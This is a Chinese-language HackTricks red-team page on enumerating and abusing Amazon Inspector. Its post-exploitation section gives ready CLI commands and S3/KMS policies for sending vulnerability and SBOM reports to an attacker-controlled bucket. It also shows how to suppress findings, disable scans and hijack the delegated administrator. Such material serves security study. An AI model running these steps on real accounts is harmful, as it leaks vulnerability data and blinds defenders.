AWS - Inspector Enum

AWS - Inspector Enum

学习并练习AWS Hacking:HackTricks 培训 AWS 红队专家 (ARTE) 学习并练习GCP Hacking: HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Inspector

Amazon Inspector 是一项先进的自动化漏洞管理服务,旨在增强您的AWS环境的安全性。该服务持续扫描Amazon EC2实例、Amazon ECR中的容器镜像、Amazon ECS和AWS Lambda函数,以发现漏洞和意外的网络暴露。通过利用强大的漏洞情报数据库,Amazon Inspector 提供详细的发现结果,包括严重级别和补救建议,帮助组织主动识别和解决安全风险。这种全面的方法确保了各种AWS服务的强化安全姿态,有助于合规性和风险管理。

关键要素

发现结果

Amazon Inspector 中的发现结果是关于在扫描EC2实例、ECR存储库或Lambda函数期间发现的漏洞和暴露的详细报告。根据其状态,发现结果被分类为:

  • 活动的:发现结果尚未得到修复。

  • 已关闭的:发现结果已得到修复。

  • 已抑制的:由于一个或多个抑制规则,发现结果被标记为此状态。

发现结果还分为以下三种类型:

  • 软件包:这些发现与安装在您的资源上的软件包中的漏洞有关。示例包括过时的库或存在已知安全问题的依赖项。

  • 代码:此类别包括在运行在您的AWS资源上的应用程序代码中发现的漏洞。常见问题是编码错误或不安全的实践可能导致安全漏洞。

  • 网络:网络发现识别网络配置中可能被攻击者利用的潜在暴露。这些包括开放端口、不安全的网络协议和配置错误的安全组。

过滤器和抑制规则

Amazon Inspector 中的过滤器和抑制规则有助于管理和优先处理发现结果。过滤器允许您根据特定标准(如严重性或资源类型)细化发现结果。抑制规则允许您抑制某些被认为是低风险、已经得到缓解或其他重要原因的发现结果,防止它们过多地加载您的安全报告,并使您能够专注于更为关键的问题。

软件材料清单(SBOM)

Amazon Inspector 中的软件材料清单(SBOM)是一份可导出的嵌套清单,详细列出了软件包中的所有组件,包括库和依赖项。SBOM有助于提供对软件供应链的透明度,实现更好的漏洞管理和合规性。它们对于识别和减轻与开源和第三方软件组件相关的风险至关重要。

关键功能

导出发现结果

Amazon Inspector 提供将发现结果导出到Amazon S3存储桶、Amazon EventBridge和AWS Security Hub 的功能,这使您能够生成已识别的漏洞和暴露的详细报告,以便进一步分析或在特定日期和时间共享。此功能支持各种输出格式,如CSV和JSON,使其更容易与其他工具和系统集成。导出功能允许自定义包含在报告中的数据,使您能够根据特定标准(如严重性、资源类型或日期范围)过滤发现结果,并默认包含当前AWS区域中所有状态为活动的发现结果。

在导出发现结果时,需要一个密钥管理服务(KMS)密钥来加密导出的数据。KMS密钥确保导出的发现结果受到保护,防止未经授权的访问,为敏感漏洞信息提供额外的安全层。

Amazon EC2 实例扫描

Amazon Inspector 为Amazon EC2实例提供强大的扫描功能,以检测漏洞和安全问题。Inspector将从EC2实例中提取的元数据与来自安全公告的规则进行比较,以生成软件包漏洞和网络可达性问题。这些扫描可以通过基于代理无代理方法执行,具体取决于您的帐户的扫描模式设置配置。

  • 基于代理:利用AWS Systems Manager (SSM) 代理执行深度扫描。此方法允许直接从实例中进行全面的数据收集和分析。

  • 无代理:提供一种无需在实例上安装代理的轻量级替代方案,它会创建EC2实例每个卷的EBS快照,查找漏洞,然后删除它;利用现有的AWS基础设施进行扫描。

扫描模式确定将使用哪种方法执行EC2扫描:

  • 基于代理:需要在EC2实例上安装SSM代理进行深度检查。

  • 混合扫描:结合基于代理和无代理方法,以最大化覆盖范围并最小化性能影响。在安装了SSM代理的EC2实例中,Inspector将执行基于代理的扫描,而对于没有SSM代理的实例,将执行无代理扫描。

另一个重要功能是针对EC2 Linux实例的深度检查。此功能提供对EC2 Linux实例的软件和配置进行彻底分析,提供详细的漏洞评估,包括操作系统漏洞、应用程序漏洞和配置错误,确保全面的安全评估。这是通过检查自定义路径及其所有子目录来实现的。默认情况下,Amazon Inspector将扫描以下内容,但每个成员帐户可以定义多达5个自定义路径,每个委派管理员可以定义多达10个:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Amazon ECR 容器镜像扫描

Amazon Inspector 为Amazon Elastic Container Registry (ECR) 容器镜像提供强大的扫描功能,确保有效检测和管理软件包漏洞。

  • 基本扫描:这是一种快速且轻量级的扫描,使用来自开源 Clair 项目的标准规则在容器镜像中识别已知的操作系统软件包漏洞。使用此扫描配置,您的存储库将在推送时进行扫描,或执行手动扫描。

  • 增强扫描:此选项在推送扫描之外添加了持续扫描功能。增强扫描深入分析每个容器镜像的层,以更准确地识别操作系统软件包和编程语言软件包中的漏洞。它分析基础镜像和任何附加层,提供潜在安全问题的全面视图。

Amazon Lambda 函数扫描

Amazon Inspector 包括针对AWS Lambda函数及其层的全面扫描功能,确保无服务器应用程序的安全性和完整性。Inspector为Lambda函数提供两种扫描类型:

  • Lambda 标准扫描:此默认功能识别添加到Lambda函数和层的应用程序包依赖项中的软件漏洞。例如,如果您的函数使用带有已知漏洞的库版本,如python-jwt,它将生成一个发现结果。

  • Lambda 代码扫描:分析自定义应用程序代码以检测安全问题,发现漏洞,如注入漏洞、数据泄漏、弱加密和缺少加密。它捕获突出显示检测到的漏洞的代码片段,如硬编码凭据。发现结果包括详细的补救建议和用于修复问题的代码片段。

互联网安全中心(CIS)扫描

Amazon Inspector包括CIS扫描,用于将Amazon EC2实例操作系统与互联网安全中心(CIS)的最佳实践建议进行基准测试。这些扫描确保配置符合行业标准的安全基线。

  • 配置:CIS扫描评估系统配置是否符合特定的CIS基准建议,每个检查都与CIS检查ID和标题相关联。

  • 执行:扫描是根据实例标记和定义的计划执行或安排的。

  • 结果:扫描后的结果显示哪些检查通过、跳过或失败,提供有关每个实例的安全状况的见解。

枚举

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

后渗透

从攻击者的角度来看,这项服务可以帮助攻击者发现漏洞和网络暴露,从而帮助他 compromise 其他实例/容器。

然而,攻击者也可能对破坏这项服务感兴趣,以便受害者无法看到漏洞(全部或特定漏洞)。

inspector2:CreateFindingsReportinspector2:CreateSBOMReport

攻击者可以生成漏洞或软件构建材料(SBOMs)的详细报告,并从您的 AWS 环境中将它们外泄。这些信息可以被利用来识别特定弱点、过时软件或不安全的依赖项,从而实现有针对性的攻击。

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

以下示例显示如何将Amazon Inspector中的所有Active发现外发到受攻击者控制的Amazon S3存储桶,使用受攻击者控制的Amazon KMS密钥:

  1. 创建一个Amazon S3存储桶,并附加策略以便从受害者Amazon Inspector中访问:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. 创建一个Amazon KMS密钥,并附加一个策略,以便受害者的Amazon Inspector可以使用它:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. 执行命令以创建发现报告并将其外泄:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • 潜在影响:生成并外发详细的漏洞和软件报告,获取特定漏洞和安全弱点的见解。

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

攻击者可以取消生成指定的发现报告或SBOM报告,阻止安全团队及时获取有关漏洞和软件材料清单(SBOMs)的信息,延迟安全问题的检测和修复。

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • 潜在影响:破坏安全监控,阻止及时发现和修复安全问题。

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

拥有这些权限的攻击者可以操纵过滤规则,确定报告或抑制哪些漏洞和安全问题(如果操作设置为SUPPRESS,则会创建抑制规则)。这可能会将关键漏洞隐藏在安全管理员视线之外,使得更容易利用这些弱点而不被发现。通过修改或移除重要过滤器,攻击者还可以通过向系统发送大量无关的发现结果来制造噪音,阻碍有效的安全监控和响应。

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • 潜在影响:隐藏或抑制关键漏洞,或向系统注入大量无关发现。

inspector2:DisableDelegatedAdminAccount,(inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

攻击者可能会严重破坏安全管理结构。

  • 禁用委派管理员帐户,攻击者可以阻止安全团队访问和管理Amazon Inspector的设置和报告。

  • 启用未经授权的管理员帐户将允许攻击者控制安全配置,可能禁用扫描或修改设置以隐藏恶意活动。

未经授权的帐户需要与受害者在同一组织中,才能成为委派管理员。

为使未经授权的帐户成为委派管理员,还需要在合法的委派管理员被禁用后,并在未经授权的帐户被启用为委派管理员之前,将合法管理员从组织中取消注册为委派管理员。可以使用以下命令完成此操作(需要**organizations:DeregisterDelegatedAdministrator权限):aws organizations deregister-delegated-administrator --account-id <合法帐户ID> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)**

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • 潜在影响:破坏安全管理。

inspector2:AssociateMember, inspector2:DisassociateMember

攻击者可以操纵Amazon Inspector组织中成员帐户的关联。通过关联未经授权的帐户或取消关联合法帐户,攻击者可以控制哪些帐户包含在安全扫描和报告中。这可能导致关键帐户被排除在安全监控之外,使攻击者能够在这些帐户中利用漏洞而不被发现。

此操作需要由委派管理员执行。

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • 潜在影响:从安全扫描中排除关键账户,使漏洞能够被未检测到地利用。

inspector2:Disable,(inspector2:Enable & iam:CreateServiceLinkedRole)

拥有inspector2:Disable权限的攻击者可以在特定资源类型(EC2、ECR、Lambda、Lambda代码)上禁用安全扫描,使AWS环境的部分区域处于未监控状态,容易受到攻击。此外,如果具有**inspector2:Enableiam:CreateServiceLinkedRole**权限,攻击者可以选择性地重新启用扫描,以避免检测到可疑配置。

此操作需要由委派管理员执行。

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • 潜在影响:在安全监控中创建盲点。

inspector2:UpdateOrganizationConfiguration

拥有此权限的攻击者可以更新您的Amazon Inspector组织的配置,影响为新成员帐户启用的默认扫描功能。

此操作需要由委派管理员执行。

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • 潜在影响:更改组织的安全扫描策略和配置。

inspector2:TagResource, inspector2:UntagResource

攻击者可以操纵 AWS Inspector 资源上的标签,这些标签对于组织、跟踪和自动化安全评估至关重要。通过更改或移除标签,攻击者可能会隐藏安全扫描中的漏洞,干扰合规性报告,并干扰自动化的修复流程,导致未经检查的安全问题和系统完整性受损。

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • 潜在影响:隐藏漏洞,干扰合规性报告,干扰安全自动化和干扰成本分配。

参考

学习和实践AWS Hacking:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践GCP Hacking: HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated